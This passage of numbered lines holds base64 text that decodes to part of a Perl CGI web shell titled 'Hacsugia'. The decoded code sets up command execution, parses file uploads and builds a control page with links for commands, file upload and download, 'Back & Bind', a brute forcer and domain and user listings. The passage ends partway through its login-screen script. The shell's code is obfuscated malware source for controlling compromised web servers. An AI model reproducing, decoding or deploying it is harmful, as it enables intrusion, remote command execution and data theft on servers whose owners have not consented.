  1237. dG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2lu
  1238. ZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQg
  1239. dG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5p
  1240. eC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFm
  1241. dGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBh
  1242. IHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMg
  1243. dGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRl
  1244. LCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2Vy
  1245. dmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1p
  1246. Y091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJ
  1247. CQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJ
  1248. CQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBj
  1249. b21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5n
  1250. LCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5n
  1251. IGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxF
  1252. U1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5U
  1253. Q21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7
  1254. CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQg
  1255. PyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMt
  1256. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1257. LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3Nl
  1258. ciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBh
  1259. bmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4K
  1260. IyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9y
  1261. ZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQg
  1262. dXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxl
  1263. LiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBv
  1264. dGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1265. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2Ug
  1266. CnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
  1267. OwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlw
  1268. YXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhP
  1269. RCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYo
  1270. JEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYg
  1271. JE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09O
  1272. VEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsn
  1273. Q09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8p
  1274. Cgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlA
  1275. bGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFd
  1276. OwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJv
  1277. ZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBp
  1278. biBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2Zp
  1279. bGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8v
  1280. ZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9Mjsg
  1281. JGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkk
  1282. bGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkk
  1283. dmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMv
  1284. JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9
  1285. CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkK
  1286. CXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsK
  1287. CQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5b
  1288. JGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZh
  1289. bCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIg
  1290. aWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoK
  1291. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1292. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFy
  1293. Z3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0t
  1294. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1295. LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVu
  1296. dERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05
  1297. XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+
  1298. IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7Cglwcmlu
  1299. dCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNv
  1300. bnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+
  1301. CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRh
  1302. bmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDog
  1303. ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpC
  1304. T1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpC
  1305. T1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAx
  1306. cHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9N
  1307. OiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsK
  1308. fQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDog
  1309. ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpC
  1310. T1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsK
  1311. fQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6
  1312. ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsK
  1313. Qk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNr
  1314. Owpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0
  1315. ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9y
  1316. OiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRh
  1317. c2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFu
  1318. YSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMz
  1319. Owpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsK
  1320. Qk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2Ug
  1321. MXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRP
  1322. TTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZp
  1323. eGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVY
  1324. VC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURF
  1325. Q09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5
  1326. YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046
  1327. IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoK
  1328. Lmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVy
  1329. IHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4s
  1330. IDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5v
  1331. bmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDog
  1332. IzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24g
  1333. Y2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJt
  1334. c18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7
  1335. JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIr
  1336. aSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0
  1337. aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0
  1338. IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsg
  1339. YWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+
  1340. PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVu
  1341. IG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
  1342. SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25z
  1343. ZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxc
  1344. XCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3Nw
  1345. YW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0i
  1346. IjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9m
  1347. b3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsi
  1348. OwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5h
  1349. bWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10
  1350. ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+
  1351. PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicg
  1352. dmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBi
  1353. YWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1
  1354. aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlk
  1355. ZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVu
  1356. dEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxm
  1357. aWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8i
  1358. K2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxl
  1359. KyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
  1360. SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2Zp
  1361. bGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8u
  1362. Zm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBt
  1363. YXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJv
  1364. cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0
  1365. cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVk
  1366. aXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5h
  1367. IiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2Vy
  1368. dmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4g
  1369. fCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9u
  1370. dD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFu
  1371. YSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJl
  1372. Zj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFu
  1373. ZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnRE
  1374. aXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29k
  1375. ZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
  1376. P2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxh
  1377. IGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBo
  1378. cmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8Cjxh
  1379. IGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJl
  1380. Zj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEg
  1381. aHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdf
  1382. YmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZv
  1383. bnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0t
  1384. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1385. LS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0t
  1386. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1387. LS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5
  1388. cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRl
  1389. cnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5n
  1390. ZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRN
  1391. TCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1
  1392. bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlz
  1393. aGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5j
  1394. dGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9
  1395. PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5l
  1396. bGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0
  1397. OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRU
  1398. ZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1Rl
  1399. eHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0g
  1400. InR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFs
  1401. bC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxz
  1402. ZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAg
  1403. dGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXko
  1404. KTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0
  1405. aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykg
  1406. VHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVu
  1407. Y3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3Jp
  1408. Z1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1l
  1409. bnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlz
  1410. LmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0
  1411. aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMu
  1412. ZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0
  1413. LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lgog
  1414. IGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhp
  1415. cy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFn
  1416. KSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsK
  1417. ICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47
  1418. CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0g
  1419. Ij4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0
  1420. aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZm
  1421. ZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0
  1422. dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0g
  1423. dGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVu
  1424. dENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRo
  1425. aXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhU
  1426. TUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlz
  1427. LmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhp
  1428. cy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0
